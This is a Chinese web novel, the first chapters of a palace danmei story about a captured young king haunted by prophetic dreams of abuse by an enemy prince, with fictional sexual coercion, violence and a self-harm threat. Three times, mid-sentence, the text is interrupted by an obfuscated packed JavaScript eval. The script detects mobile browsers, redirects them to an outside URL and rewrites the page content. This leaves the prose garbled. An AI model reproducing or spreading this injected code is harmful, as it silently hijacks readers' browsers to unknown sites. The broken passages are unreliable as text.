《沦为金丝雀,但饲主是直男?》 1. 梦 岑月白像是一只被钉在猩红色琥珀里的蝶。 身后的怀抱炙热滚烫,隔着寝衣烙印在他的背上,男人身上带着侵略性的檀木香,将他紧紧搂在怀里。 那人的手指像在弹奏乐器一般抚摸着,如同毒蛇的信子,每一次滑动地舔舐都让人血液逆流。 “给你看个好东西。”男人朝外挥挥手,说着,一团东西被丢进屋内。 岑月白视线定定地落在那团被丢在地上的黑影上,胃里一阵翻腾。 那团黑影被鲜血浸透,模糊的血肉与衣服黏连在一起,只能依稀辨得人形。他扭曲蠕动着,发出“嗬嗬”痛苦呻吟声。 燕……燕诀?! 岑月白双眸骤缩,那人正是与他相伴长大的贴身侍卫。 是来营救自己的燕诀! 不…… 岑月白不敢相信,他死死咬住下唇,视线固定在那片血腥之上,大脑却一片空白。 他只看到侍卫身上那片猩红的血雾,像落云国宫墙外春天的桃花,艳丽得刺眼。 “您似乎很心疼他?” 耳畔传来一声轻笑,男人的神情愉悦,惬意地欣赏着岑月白的惊恐和绝望。 他漫不经心地在岑月白裸露的软嫩大腿上掐了一下,说:“小陛下,想要他活着吗?” 岑月白回过头,惊恐地看着对方那双深不见底的笑眸,遍体生寒。 “只要您开口求我。”男人手指抵住岑月白的下巴,稍稍抬起,眼中满是对岑月白美貌的赞赏。 岑月白浑身冰凉,看到燕诀痛苦地蜷缩,听到他濒临死亡的喘息。 一股腥甜涌上喉头,岑月白死死咽了回去。 他闭上双眼,声音带着恰到好处的颤抖,像一只寻求庇护的雏鸟,生涩颤抖地将自己更紧地贴向了男人的怀抱。 “求你了……”他抬起眼,含着泪光的眸子湿漉漉地望向倪映天,像一泓被雨打湿的月下白昙,“放了他吧……放了他……你想怎样,我都依你。” “嗯?”身后的男人似乎不满足。 话音未落,“啪”的一声脆响,他毫不留情地在他臀上拍了一记。 他的力道不重,却带着极致的轻佻与羞辱。 岑月白身上还有昨夜留下的旧伤,疼得浑身一颤。 “小陛下。” 男人的声音在他耳边慢条斯理地低语,“昨夜教你的规矩,都白教了?该怎么求人?” “……我……”那个称呼像一根刺,卡在喉咙里。 他抿着唇,讨号般往倪映天怀里缩了缩,将脸埋进他的颈窝,他声音闷闷地,带着黏腻的鼻音:“……我……我叫不出口。换一个,好不好?” “乖一些。”男人眉目含笑,捏着他的下巴,强迫他转过脸,面向地上奄奄一息的燕诀。 心脏猛得刺痛,两行泪兀自落下,岑月白视线模糊间,看到了燕诀那双毫无光彩的眼睛。 是死一般的寂静。 不…… 不要…… “殿下,叫人。”倪映天的手指在岑月白脖子上摩挲着。 岑月白大口喘着气,身体在发抖,双眼瞪得泛红:“倪…倪映天!你会遭报应的!” 倪映天笑了一下,却也不恼,惩罚似的咬在他脖子上,像是毒蛇的尖牙。 刺痛钻心而来。 “啊!” 岑月白猛地睁开眼,从噩梦中惊坐而起。 他大口喘息着,惊魂未定,冷汗浸透了他的里衣,黏腻地贴在背上。 他在黑暗中剧烈地喘息,久久无法回神。 “殿下,您又做噩梦了?”一个年轻的男子闻声走了进来,关切问道,“最近的梦魇似乎更频繁了。” 岑月白没有回答,只是怔怔看着眼前的青年。 “殿……殿下?” “燕诀,你过来。” 岑月白让他走近,掰过他的脸认真地检查着,确定燕诀身上没有一丝伤痕和血污。 他依旧心有余悸,说:“如,如果有一天,孤遇到危险,你……不用来救孤,知道吗?你一定要好好活着,一定。” “你能好好活着,就好。” 燕诀被说得摸不着头脑:“殿下说什么呢?有属下在,属下不会让您有危险的。” “属下会永远守护您的,殿下。” 岑月白摇摇头,他知道燕诀不会明白。 因为他知道,那并不是普通的噩梦。 梦里那些荒淫无度的画面,很有可能真得要变为现实! 不知从何时开始,岑月白就时常做类似的“春梦”,似乎已经有近一年。 梦里,他不知为何沦为了阶下囚,落到了敌国王爷倪映天的手里。 倪映天,光是想到这个名字就让他汗毛倒竖。 那家伙就是个疯子! 为了得到自己,那人无所不用其极,没日没夜地折磨他,强迫他,弄出各种下作的手段让他屈服,让他顺从。 梦里的一帧帧画面如同真实,岑月白生出一身冷汗。 他不断告诉自己,那些只是梦而已,但梦里的画面偏偏越来越清晰,有逻辑。 这让岑月白不得不相信国师的那套说辞。 难道这真的是预言梦?! “殿下。”燕诀恭敬地递上一碗水,“您已经醒了,别怕,喝点水吧。” 岑月白揉揉眉头,转而问:“现在几时了?” “寅时刚过。”燕诀回答道,“时间还早,您要再睡会儿么?” 岑月白摇摇头:“最近这些梦魇越发频繁了,孤今日想亲自去一趟浮霄云宫,去见一见老师。” “是,殿下,我这就去唤侍女们来替您更衣。” “无妨,不着急。”岑月白灌下燕诀端来的那碗温水,他挥挥手,声音还有些不稳,“你先去把老师半月前给孤的安神丹取来。” “是,殿下。”燕诀躬身领命退下。 岑月白怔怔地又坐了片刻,等到惊恐终于褪尽,他才赤足走下龙床,冰凉的金砖地面激得他脚心一缩。 他随手扯过一件素白的云纹银龙外袍披在肩上,挪到了寝宫东侧的露台。夜风立刻涌了上来,带着初秋清冽的寒意,他不由将外袍拢紧了些。 凭栏望去,晨雾在群山之中翻涌。 落云国的王宫建在望月山腰,此刻,整个王城都在脚下沉睡着,只有零星的灯火。 他仰起头。 离破晓尚早,星辰便格外清晰明亮,密密麻麻地洒满了苍穹。 岑月白望着那满天星斗,有些出神。 登基还不到两个月,父王留下的摊子说不上好,也说不上太坏。毕竟落云国只是一个偏安一隅的小国罢了,需要操心的地方也不多。 虽说隔壁的大雍强大,但大雍与落云国隔着重重岷山和云障,他也不用太过担心。 国君…… 他心里空落落的,没有多少实感。他还不习惯称“孤”,不习惯被叫“陛下”,他像是被无形地架在了这高高的露台上,无所适从。 时间在寂静中流淌,格外缓慢。 燕诀去取的丹药就放在偏殿,现在怎么也该回来了。可露台上的风越来越冷,东方天际那抹鱼肚白迟迟不见扩大。 不对…… 他等得太久了。 岑月白转身回到寝殿内。 寂静在空气里弥漫,烛台上的蜡烛快要燃尽了,火光微弱地跳动着。 “燕诀?”他清了清嗓子,对着殿外唤了一声。 没有回应。 岑月白蹙起眉,提高了声音:“值夜的人呢?进来添烛。” 依旧是一片死寂。 不对劲。 即便燕诀未归,廊下也该有值守的太监和侍女。他走到寝殿门口,伸手推开沉重的雕花木门。 门轴发出刺耳的“吱呀——”声,门外是熟悉的白玉回廊,通向幽深的宫苑。 此刻,回廊上悬挂的宫灯一盏也未点亮,远处宫殿的轮廓模糊不清。 “来人。” 他的声音在空旷的殿宇间回荡,很快又被黑暗吞没。 他沿着回廊往前走,赤足踩在冰凉的石板上。 朦朦胧胧,影影绰绰,黑暗从四面八方朝他包裹过来。 平日里,总有宫女太监垂手侍立的角落,经过应该站着带刀侍卫的宫门,全都空空如也。 一个人都没有! 整座王宫,像是变成了一座陵墓。 怎么回事?! 心跳在耳膜上咚咚撞击,越来越响,岑月白倒吸一口凉气。 恐惧开始在内心疯狂滋长。他加快了脚步,终于跑了起来。 他喘息着不敢停下,背后似乎有无数大手张牙舞爪,朝他抓来。 就在黑暗和恐惧快要捉住他时,前方忽然出现一抹暖光。 是光!岑月白瞬间有了方向。 那是一座独立的小院,院门虚掩,古朴清幽。 温暖的光从门缝中流泻而出。 岑月白不假思索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301669|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地朝那光亮奔去。 他猛地推开虚掩的院门。 小院中央,一株古老的桃树下,石灯散发着柔和的光晕。 一个人背对他而立,身形清瘦挺拔,穿着一尘不染的描金雪白道袍,银线绣着流转的云纹星图,在光下隐隐生辉。 那人长发如墨,仅用一根素白玉簪束起一部分,其余披散在肩背。 是国师! 谢玉观! “老师!”看到那令人心安的背影,他心中的恐慌瞬间消解大半。 他向那光亮中的身影奔去,仿佛只要到了老师身边,所有诡异恐怖的噩梦,都能被立刻驱散。 背对着他的国师似乎听到了声音,缓缓转过了身。 岑月白的脚步却猛地钉在原地,瞳孔骤缩。 谢玉观脸上,平时遮住双眼的白纱轻轻飘落。 那张清俊的脸上,原本应是眼睛的位置,只剩两个深邃可怖的黑洞。 而在皮肤之下,无数狰狞的紫黑色脉络和伤口仿佛活物般骤然迸发,以肉眼可见的速度,嗤嗤作响地向着整张脸急速扩张,畸变。 “老……老师?”岑月白被吓得顿在原地。 那张已被可怖伤痕之下,谢玉观那几乎看不出原貌的嘴,轻轻开合了一下。 没有声音发出,但岑月白死死盯着那口型,他辨认出来了。 “小、心、背、后。” 小心背后? 背脊上的汗毛根根倒竖。岑月白猛地回过头。 “唰”得一下,冲天的火光燃起,火舌肆意地吞噬着整个世界,将他包裹在最中央。 只见方才,他跑来的回廊阴影处,不知何时,已立满了密密麻麻的黑色人影! 他们手持刀剑,锋刃在微光下反射着森寒的杀意,却没有发出半点声息。 而站在最前方的身影,手中的佩剑已然举起! 是燕诀。 那张总是带着关切的年轻脸庞,此刻没有任何表情。 他手中的长剑闪烁着寒光,剑尖微微调整,锁定了倒在地上的岑月白。 接着,他没有任何犹豫,挥落! “不——!!!” …… 预期的剧痛没有降临。 他猛地睁开了眼睛,不断喘着气。 是梦…… 又是梦…… 身体各处传来的酸痛,手腕被粗糙的东西勒得生疼,背后抵着坚硬不平的地面,嘴里似乎塞着布团,呼吸不畅。 映入他眼帘的,不是落云寝宫的雕梁画栋,而是冰凉的石板地面。 岑月白双手被反剪在身后捆住,侧倒在地,身上只穿着一件单薄的白色里衣。 岑月白的心又跌落到了谷底。 这是哪里? 忽然,一双靴子,踏着沉稳而优雅的步伐朝他走来。靴面纤尘不染,停在了他眼前的地面上。 那人蹲了下来。 一只戴着墨玉扳指的手伸了过来,带着不容抗拒的力道,捏住了他的下巴,强迫他抬起脸。 岑月白的视线,顺着那绣着繁复暗纹的玄色衣袍上移,目光掠过窄瘦精悍的腰身,宽阔的肩膀,最终,撞进了一双深不见底的眼眸里。 这张脸…… 岑月白的瞳孔骤然收缩,浑身的血液在这一刹那全部冲上头。 棱角分明,英俊得近乎凌厉。 “倪映天!”岑月白咬着牙,叫出这个名字。 是倪映天! 那个在他无数个噩梦里,用尽手段折辱他的大雍王爷! 他回想起来前些日的宫变,他不记得刀光剑影中自己如何昏倒的,再一醒来,就发现自己真得被绑到了大雍。 梦里的一切都……已经成真了?! 他挣扎着想起身,但他被下了药,身上无比酸痛,使不上一丝力气,脚上的铁链深深地束缚着他。 他最终只能踉踉跄跄地扑倒在倪映天腿上:“是谁!告诉我。” 倪映天没有回答,用手指在他无比精致的下颌线上摩挲了一下,仿佛在感受那肌肤的质地。 “居然真得这么漂亮。”他微微偏头,将他口中的麻布拿出,手指揉着麻绳勒出的红痕,柔声问,“委屈你了,绑着疼吗?” 岑月白没有接他假惺惺关心的话,转而问:“怎么才能放了我。” 倪映天思索了片刻,面露难色。 他最终摇摇头,起身将岑月白拦腰抱了起来,叹了口气:“还是乖乖跟我回青陵吧。” 2. 青陵 “倪映天,你到底想要什么……我们可以谈……” 倪映天眉头微皱,似乎很烦心,打断他:“嘘……别说话。” 他被倪映天一路带到了王爷府的一处暖和的偏殿。 岑月白被丢在床铺的软垫上,倪映天俯身过来,抽出匕首,将他身上的麻绳一一挑着划开。 果然…… 岑月白自然明白他想干什么,他知道这人的手段,但他此刻如同砧板上的鱼肉,只能任人宰割。 他被匕首抵着,不敢挣扎也不敢乱动,心一横闭上了眼。 反正,该来的总会来的…… 然而,倪映天却什么都没做,依旧拧着眉头,似乎十分不悦。 他最终叹口气:“你就在偏殿好好待着,本王再入宫一趟。” 随后他将匕首随手一丢,跨步走出了房间。 岑月白一个人呆在床上,一时间有些不知所措。 他居然只是帮自己割开了绳子? 是有什么事在忙吗?耽误了? 半晌后,一个盛满热水的木盆被抬了进来,水面上零散地飘着几片花瓣。 “公子,请沐浴。”一个侍女低着头,声音细弱。 洗澡…… 岑月白看了身上沾了脏污的衣物,原来他是嫌脏吗? 看着盆里的清水,几个月来噩梦里的画面不受控制地涌入脑海。 记得梦里,倪映天好几次让他沐浴的水都是粉色的,他都不知道那里面兑了多少莫名其妙的药。 那些药让自己的身体…… 一旁,两个侍女并没有催促,只是安静地等着,仿佛这只是一项寻常的差事。 岑月白自己动手,解开那身早已污秽不堪的衣物。布料摩擦过身上隐秘的淤青和擦伤,刺痛细细密密地蔓延全身。 他飞快地踏入浴桶,将整个身体沉入温热的水中。 热水包裹上来,舒缓温暖。侍女围了上来,替他擦洗身体。 倪映天…… 他闭上眼,屏住呼吸,脑海中却蓦地闪过另一幅遥远的画面。 - 那时他才十二三岁时,还是落云国的小太子。 皇家浴池里掺了香花和药草,常年有温热的活水。 那天,小岑月白刚结束骑射课,被侍女们围着伺候沐浴。 他趴在池边光滑的暖玉上,任由年长的宫人用柔软的布巾替他擦背,昏昏欲睡。 忽然他听到屏风外传来动静,一个张扬的声音响起:“听闻贵国太子殿下风仪无双,小王冒昧,可否一见啊?” 那是雍国使团里的人。 虽说明面上的身份不过是个随行的富商,但明眼人都知道,那是大雍皇帝最宠爱的幼子,刚刚获封梁王的六皇子倪映天。 宫人有些为难,低声道:“殿下正在沐浴……” “哦?那倒是巧了。”那人声音带着笑,“正好,小王也刚活动完筋骨,一身汗。” 然后,不等宫人再阻拦,屏风便被一只手随意地拨开一道缝隙。 “放……放肆!” 岑月白惊得整个人埋进了水里,下意识地拉过湿漉漉的布巾披在肩头。 回头望去,一个高挑矫健的少年身影站在那里,大约十六七岁的年纪。 他眉目俊朗,嘴角噙着一丝毫不掩饰的邪笑。像盯住了什么稀罕猎物,倪映天的目光直白地落在岑月白被热气蒸得泛红的脸上和一截脖颈上。 年幼的岑月白第一次被人用这样的眼神注视,一种让他本能地感到不安的眼神。 那俊朗少年看了他好几息,才在宫人焦急的低声劝阻中,笑着退了出去。 他的声音隔着屏风传来:“果然名不虚传,真是……可惜了。” 可惜什么?那时的岑月白不懂。 后来他才零星听说,倪映天有个说大不大,说小不小的癖好——他喜好男色,尤其是白净可爱的少年。 “从那天开始,我就发誓,一定要得到你……”梦中的倪映天埋在他颈窝里,贪恋地嗅着他的味道,这样对他说。 那份少年时的觊觎,早已在发酵成一种志在必得的执念。 倪映天想从他身上得到什么,岑月白再清楚不过。 “……” “公子,水要凉了。”侍女低微的提醒将岑月白从回忆中拽回。 他踩在冰凉的石砖上。 两个婆子手脚麻利,很快将他身上的水汽擦干,然后捧过一旁早已备好的衣物。 岑月白的目光落在那些衣物上,双眼圆瞪。 因为那根本不是什么正经衣裳。 那是一套极其轻薄柔软的丝质长衫,没有里衬,只有一条同样轻薄的绸裤。旁边还放着一件烟霞色的缕空纱衣。 与他噩梦中的某些片段隐约重合。 门外,侍立着两排侍卫。 门内,几位侍女低着头,将衣物展开,无声地等待着他自己穿上。 倪映天,你就这么急着把我变成你想要的样子? 他没有其他选择。纯粹的抵抗只会加速崩溃,他必须在屈服的假象下,找到呼吸的缝隙。 半晌,他死死咬住下唇,闭上眼睛,睫毛剧烈颤抖着,接过了那件月白丝衫。 他飞快地穿好衣服,丝缎贴着刚沐浴过微湿的皮肤,像被毒蛇的信子舔过一般难受。 岑月白赤着脚,踩在冰冷的地上,被侍女陪着一步步挪到房间中央的圆桌旁。 桌上已摆好了几碟精致的点心和小菜,还有一碗热气腾腾的米粥,香气扑鼻。 “公子,请用些吧。” 岑月白僵硬地坐下,拿起筷子,看着那碗温热的米汤。 他本不想吃,可胃里实在饿得厉害,犹豫片刻还是接过了碗,小口小口地吞咽起来。 忽然,房门被“哐”一声大力推开。 倪映天去而复返。 他目光扫过室内,当视线触及桌边那个穿着轻薄月白丝衫的身影时,他的脚步猛地顿住。 岑月白的心跳几乎停止。 他看到了倪映天眼中一闪而过的惊艳,呼吸似乎有那么一瞬间的凝滞。 但随即,那双深邃的眼眸瞬间变了色,倪映天立刻摔门而出。 “谁让他穿这身衣服的?!“ 倪映天的声音压得很低,但岑月白依旧听到了。 房内服侍的婆子和门外候着的侍卫立刻“噗通”跪了一地,噤若寒蝉。 岑月白茫然又恐惧地看着自己身上的衣服。 这衣服……不是他让人准备的吗? 难道自己穿错了?穿了其他“男宠”的衣裳,触了他的什么忌讳? 这个念头让他胃里一阵翻江倒海的恶心。 倪映天似乎根本没想听解释,或者说,跪着的人根本没有胆量解释。 “下午就启程去青陵了!穿这个做什么?”他烦躁地一挥袖,声音冷硬,“还不快去找身干净的衣裳来!要本王的常服,素色,厚实些的!” 立刻有侍女连滚爬起,慌不迭地跑了出去。 倪映天的目光再次落在岑月白身上,他深吸了一口气:“快吃饭,准备一下,下午随我去青陵。” 说完,他猛地转身,再一次大步离开了这个房间,甚至比来时的速度更快。 “……” 很快,侍女捧来了一套崭新的衣物。 侍女们手脚麻利地替他换上,全程低着头,大气不敢出,比之前更加小心翼翼。 没有人说话,只有衣料的窸窣声。 换好衣服不久,门外传来一个太监的通传声,他对一旁的侍卫说:“王爷吩咐,请公子准备一下,未时三刻启程前往青陵。公子乘后面那辆青帷马车,路上自有安排。王爷还说……” 太监顿了一下,声音微沉,清晰地传入岑月白耳中: “路上看好,别让人跑了。” - 青帷马车在初秋的官道上行驶了五日。 岑月白蜷在车厢角落,宽大的锦袍将他从头到脚裹住,像一尊失了魂的玉雕。 为了防止他逃跑,侍卫在他脚上戴了一个铁镣铐。 第五日黄昏,马车终于缓缓停下。 青陵,到了。 这里是梁王倪映天的封地,岑月白也不明白为什么现在就来到这里。 在梦中,他先是被倪映天关在宣京的王府里折磨了四五个月,等到过了年关,才来了青陵。 岑月白被倪映天的亲卫带到王府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301670|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深处一个独立的小院。 院门上有小小的匾额,写着“揽月阁”三字。 院中有一株枝干虬结的老梅,此时尚未到花期。 这不像囚室,青石地面干净整洁,屋内种了几盆昙花,比许多官员家的客院还要舒适雅致。 高个子的亲卫将他送至门口,便不再入内,只留下一句:“公子在此歇息,一应所需,具可告知院外值守之人。” 说罢,那人便退至院门外,命跟着的卫兵分散守住不同的出口。 侍卫领命如同门神般矗立不动,彻底隔绝了小院与外界的通路。 “……” 岑月白独自站在空旷的正房中央,环顾四周,呆愣在原地。 因为侍卫将他脚上的镣铐被解开了。 岑月白呆呆地看着自己的脚腕,一时间有些反应不过来。 镣铐被解开了。 就这么解开了? 倪映天究竟要做什么? 岑月白皱着眉。 明明把自己抓了,却只是关押在这里? 也不知道他人是去哪儿了——自从那天被呵斥之后,他就再也没见过倪映天的面。 经过路上几日的颠簸,他早已接受了自己噩梦成真的事实。 不知道梦中的场景会不会真得逐一实现,但是他不能就这样坐以待毙。 他必须逃跑。 趁现在逃跑。 趁着倪映天还没对自己用那些软筋散,合欢香和其他奇怪的药物之前,在自己彻底地变成一个废人之前! 四肢健全,头脑清醒地逃出这里! 虽然事情目前的走向跟梦里有些出入,但有那些莫名其妙的预言梦,自己至少不是一无所知,还能把握到一点主动权。 他开始根据梦中的形象,揣测倪映天的用意。 难道他是在故意试探自己会不会逃跑? 岑月白记得,梦里好几次倪映天刻意放松警惕,故意放跑自己。 然后再将自己抓回来,好有理由敲打惩罚一番。倪映天的性格十分恶劣,似乎很享受自己那些从希望转为绝望的痛苦神情。 摆在他面前最近的一个例子。 燕诀…… 梦里燕诀来救自己,两人瞒着倪映天约定暗号,悄悄制定逃跑计划,满心以为终于可以逃脱苦海,但最终…… 结果十分残忍地呈现在他面前…… 一切还都尽在倪映天的掌控之中。 岑月白的眸色不由得暗了暗。 - 日渐西斜,忽然有仆妇送来热水和晚膳,打断了岑月白的思绪。 四菜一汤,两荤两素,精致可口,还配了一小盅炖得奶白的鱼汤。 岑月白沉默地看着仆妇放下食盒,把菜布好,准备退出去。 “倪映天去哪儿了?”岑月白忽然叫住她。 仆妇低眉垂眼地摇摇头,什么都没回答。 “你叫什么名字?”岑月白换了个简单的问题。 仆妇依旧什么都没说,恭恭敬敬向他行了个礼,躬身退了出去。 “……”一定是倪映天的吩咐,不让下人与他讲话。 岑月白看着那桌饭菜,毫无胃口。走到院中,秋夜的寒气让他抱紧了双臂。 仰头望去,天空被院墙和屋檐切割成一块四方的蓝色。 门外有卫兵把手,他不敢靠近。 他又在揽月阁绕了两圈,最终寻到一处面向院外的窗边。他用力推了推,纹丝不动,显然从外面闩上了。 窗扇也用厚厚的油纸封住。 他环顾四周,想找个东西凿出个洞。 但这显然是软禁用的屋子,没有任何尖锐物品,连瓷器都没有,只有几件厚实的陶器。 岑月白不死心地去院中,用力折下一根稍长的梅枝,用梅枝从房顶上顶下两三片青瓦,青瓦落地砰得摔碎。 他翻翻找找,找到一片尖利的碎片,去将封窗的厚油纸凿出一个小洞。 他从小孔向外望去,窗外对着的是高高的府墙,看不到更远的景象。 时不时一排侍卫穿着甲胄列队走过,在四周巡视。 忽然,院墙外隐约传来压低的交谈声和嬉笑,是值守侍卫换岗了。 3. 笼 虽然心中还没有具体的逃脱手法,但岑月白准备先摸清侍卫们的轮班换岗时间和倪映天来访的记录。 岑月白贴着窗户上厚油纸的缝隙认真地听了起来。 窗外,换班的侍卫带来了晚饭,人挨着墙角就地找了个角落蹲了下来,一边吃饭一边闲聊。 “……妈的,这苦差事,天天对着堵墙。” 一个粗嘎的嗓音抱怨道,“啧,也不知道里面守着的是谁。” “嘘……小点声,里头关着的那位,可是王爷亲自带回来的‘贵客’,来历可不小。” 另一个油滑的声音接过话头,刻意压低:“模样是真没得说。那天被王爷抱回来时,我远远瞧了一眼,细皮嫩肉的,比娘们儿还水灵……啧。” “呵,王爷亲自带回来的,差得了?” 另一个声音嬉笑着接口,“谁知道王爷怎么想的?这等绝色,搁这儿晾着,真是暴殄天物啊……可惜啊,咱们看得碰不得。” “碰不得?我看未必。王爷什么性子你又不是不知道,新鲜劲儿过了,指不定就赏下来了……”粗嘎声音嬉笑着调侃,引来几声心照不宣的嗤笑。 “再说了,就算不动,咱们也能过过眼瘾,王爷你还不知道,只要别犯了忌讳,他巴不得我们替他……” “嘘,你小点声……” 门外嚼墙根的两人还在继续,岑月白却不想再听了。这些垃圾话毫无价值,只会徒增恶心。 院里没有能记录时间的,也不清楚大雍这边的时令,他只能看太阳的位置心里估算是申时到酉时之间,又找到刚才折下来的梅枝,找个不显眼的角落,记录下屋墙的影子,做了个简单的日晷。 - 时间一天天过去,倪映天离开梁王府已有三日,岑月白一直待在揽月阁中,等着倪映天什么时候到来。 他也做足了心理建设,努力让自己不再排斥见到倪映天。 既然逃不过这一劫,不如善加利用对方,获得更多的信息。 但奇怪的是,从在宣京王府那天起,他就再也没有见过倪映天。 倪映天从没来过揽月阁。 岑月白就好像是被忘了一般。 他心中疑惑,偷听侍卫们的讨论,倪映天应该是去附近巡城了,这段时间甚至不在青陵城里。 - 小院里,得知消息的岑月白抱膝坐在冰凉的廊下。 他望着院中那株老梅虬结的枯枝,思绪不断在那些残破的梦境碎片中搜寻。 他记得他前些年有段时间,梦到过自己住在这个揽月阁里。 他相信其中一定有些线索,只是本来就是梦境,更何况是那些永远不愿回忆的噩梦,他早就忘得差不多了。 他细细地回想着,却听“吱呀”一声,院门从外推开了一道缝隙。 岑月白抬眼望去,又看了看时间,是送饭的时候了。 但门口进来的不是往常的仆妇。 三个穿着王府侍卫服的男人侧身挤了进来,反手又将门虚掩上。 为首的是个脸上带疤的壮汉,眼神混浊,上下打量着岑月白,露出令人不适的笑:“小公子,一个人待着闷坏了吧?” 另外两人一左一右散开,隐隐形成合围之势。 岑月白心脏骤缩,镇定地站起身来:“你们想做什么?倪映天让你们进来的?” “王爷?”另一个瘦高个侍卫嗤笑,“王爷忙着巡城,去了舞阳,哪顾得上你这小雀儿啊?” “哥几个就是巡查看守,见您孤单,特来‘问候问候’。” 一旁的小眼侍卫立马接过话:“就是,一个人待着多闷啊,王爷忘了你,哥几个来陪你说说话不是?” 其实他们也不敢做什么。就是临近休沐,兄弟几个喝了点小酒,吹嘘着进来,想调戏调戏这个“小媳妇”,吓吓他,寻寻开心。 他们几个都跟着王爷做事很久了,早就摸清了王爷的脾气。 每次遇到一些宁死不屈的新欢,王爷都会派他们挫挫锐气。 只要不挨不碰,王爷都会睁一只眼闭一只眼。 更何况,这人关在这里四五天了,王爷也对他不闻不问的,想来也没有多上心。 酒壮怂人胆,更何况是他们这三个色胆包天的糙汉。 凑得近了,他们细细打量着白玉一般的人,心里啧啧称奇。 要不说是王爷呢?这么漂亮的人,王爷居然舍得这么晾了这么多天?! 他们更确定了,王爷就是想要他们好好给这小媳妇一个下马威! 几人对视淫邪一笑,搓着手朝着岑月白围了上去。 “滚出去。”岑月白呵斥道。 “哟,脾气不小。”疤脸侍卫又往前跨了一步,“还以为是在自己家呢?瞧这细皮嫩肉的,怕是比娘们还娇贵吧?” 他说着,竟伸手想要摸岑月白的脸。 岑月白猛地侧头躲开,想也不想,抓起一直藏在袖口里那半片碎瓦,狠狠朝那只手扎去。 “嘶——!” 瓦片边缘被他磨得锋利,轻易地划开一道血口,那人吃痛缩手,脸色顿时阴沉下来:“敬酒不吃吃罚酒!按住他!” 另外两人立刻扑上。 岑月白拼命挣扎,宽大的袍袖被扯住,衣襟也被撕开一道口子。 混乱中,岑月白不知哪来的力气,挣脱了钳制,踉跄退后几步,背靠着冰冷的墙壁,剧烈地喘息。 困乱中他割伤了自己,握着碎瓦的手里全是血。 三个侍卫见他如此狼狈却还敢反抗,更是恼羞成怒。 平常那些美人,稍微被他们一说就脸红羞恼,怯生生地服软,软声求他们放过。 哪见过这种不要命的阵仗? 疤脸侍卫眼神狠毒:“给脸不要脸!等哥几个玩够了,看你还能不能这么硬气!” 眼看他们又要围拢上来,岑月白的目光掠过他们脸,掠过这四方高墙,最后落在掌心那片碎瓦上。 他不再后退,抬起手,将那片锋利的碎瓦紧紧抵住了自己左侧的脸颊。 “站住!”岑月白盯着他们,吼道。 他一字一句地说:“你们胆敢再上前一步,我就划下去。一道不行就两道!直到这张脸,血肉模糊,看不出原本模样为止!” 他知道,倪映天特别珍视自己这幅皮囊,尤其是他的脸。 梦中他好几次想自毁容貌,倪映天都会大发雷霆,将他绑地丝毫不能动弹,用丝绸将他手脚紧紧裹住。 然后倪映天会费尽心机地把伤口养好,不让他身上留下一道疤。 “你们猜,”他微微用力,瓦片刃口陷进皮肉,血瞬间渗了出来,“倪映天回来,看到你们把我弄成那副鬼样子,是会奖赏你们,还是把你们剁碎了喂狗?!” 三个侍卫脸色瞬间变了。 他们来揩油是一回事,可若是真毁了这张脸…… 想起那位爷整治人的手段……他们额角不由得渗出了冷汗。 “……疯子!” 岑月白不为所动:“滚!滚出去!” 僵持数息,三人终究不敢赌,悻悻退了出去,重重摔上门。 瓦片“当啷”落地,砸在青石地上。 岑月白顺着墙壁缓缓滑坐在地,脸上血痕蜿蜒。 但他知道,这事没完。 不出他所料,自那日后,送来的饭菜便一日不如一日。 从最初的热汤热饭,变成了残羹冷炙,再到后来,干脆是些散发着馊味的食物。 送饭的仆妇眼神躲闪,放下食盒便匆匆离去。 岑月白看着桌上那碗漂浮着油污,米粒僵硬的冷粥。 从小锦衣玉食惯了的他哪能吃得下,胃里一阵翻腾。 这一定是倪映天的授意。 他最惯用这种钝刀子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301671|198657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 割肉的方式,一点点消磨他的意志,让他彻底屈服。 梦中似乎也有过类似的情节,倪映天总会在他稍显倔强时,用各种方式磨掉他的棱角,直到他彻底学乖。 但倪映天还是没有来看过他。 一眼都没有。 他像是被遗忘了。 他不明白这畜生究竟要做什么,千辛万苦地把自己绑来,然后丢在这什么都没有的小院里不管不顾?! 他究竟把自己当什么?连一个玩物都不如吗?一个侍卫都可以这样随意地凌辱欺侮他? 从小到大,他就是父皇母后最宠爱的孩子,老师也对他百般宠爱。 哪怕是那些恶心龌龊的梦里,那个倪映天虽然可恶至极,但也是时时刻刻将自己放在心上。 但现在这样算什么?毫不在乎? 留自己在这孤僻的小院中自生自灭? 那又为什么要打扰自己平静的生活?! 就想看自己难堪吗? 岑月白又瞥到那些馊掉的饭菜,一个决绝的念头骤然升起,而这种念头一旦出现便挥之不去。 